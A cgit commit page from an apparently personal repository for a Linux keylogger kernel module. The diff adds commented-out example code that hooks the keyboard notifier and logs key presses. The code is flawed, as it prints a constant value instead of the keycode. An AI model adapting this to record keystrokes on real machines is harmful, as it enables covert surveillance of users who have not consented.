aboutsummaryrefslogtreecommitdiff
path: root/src/module
diff options
context:
space:
mode:
authorkartofen <mladenovnasko0@gmail.com>2023-04-30 17:39:21 +0300
committerkartofen <mladenovnasko0@gmail.com>2023-04-30 17:39:21 +0300
commit823d499e4f57151b8ded478727b102b53941436f (patch)
treeec5223bb59d023e07ef18a97b5e7bc669dd48086 /src/module
parentd42853496fc976ef3d067af421a1a3811660033d (diff)
like 350 lines total of scripts and makefileHEADmaster
Diffstat (limited to 'src/module')
-rw-r--r--src/module/module.c37
1 files changed, 37 insertions, 0 deletions
diff --git a/src/module/module.c b/src/module/module.c
index b3b92af..e41fe75 100644
--- a/src/module/module.c
+++ b/src/module/module.c
@@ -86,3 +86,40 @@ module_exit(exit_keylogger);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Kartofen");
MODULE_DESCRIPTION("A simple keylogger kernel module");
+
+
+// Key logging example code
+
+// #include <linux/module.h>
+// #include <linux/init.h>
+// #include <linux/keyboard.h>
+
+// static struct notifier_block nb;
+
+// static int keylogger_notify(struct notifier_block *nblock,
+// unsigned long code, void *_param)
+// {
+// struct keyboard_notifier_param *param = _param;
+
+// if (code == KBD_KEYCODE && param->value == 1) {
+// printk(KERN_INFO "Key pressed: %d\n", param->value);
+// }
+
+// return NOTIFY_OK;
+// }
+
+// static int __init keylogger_init(void)
+// {
+// nb.notifier_call = keylogger_notify;
+// register_keyboard_notifier(&nb);
+// return 0;
+// }
+
+// static void __exit keylogger_exit(void)
+// {
+// unregister_keyboard_notifier(&nb);
+// }
+
+// module_init(keylogger_init);
+// module_exit(keylogger_exit);
+// MODULE_LICENSE("GPL");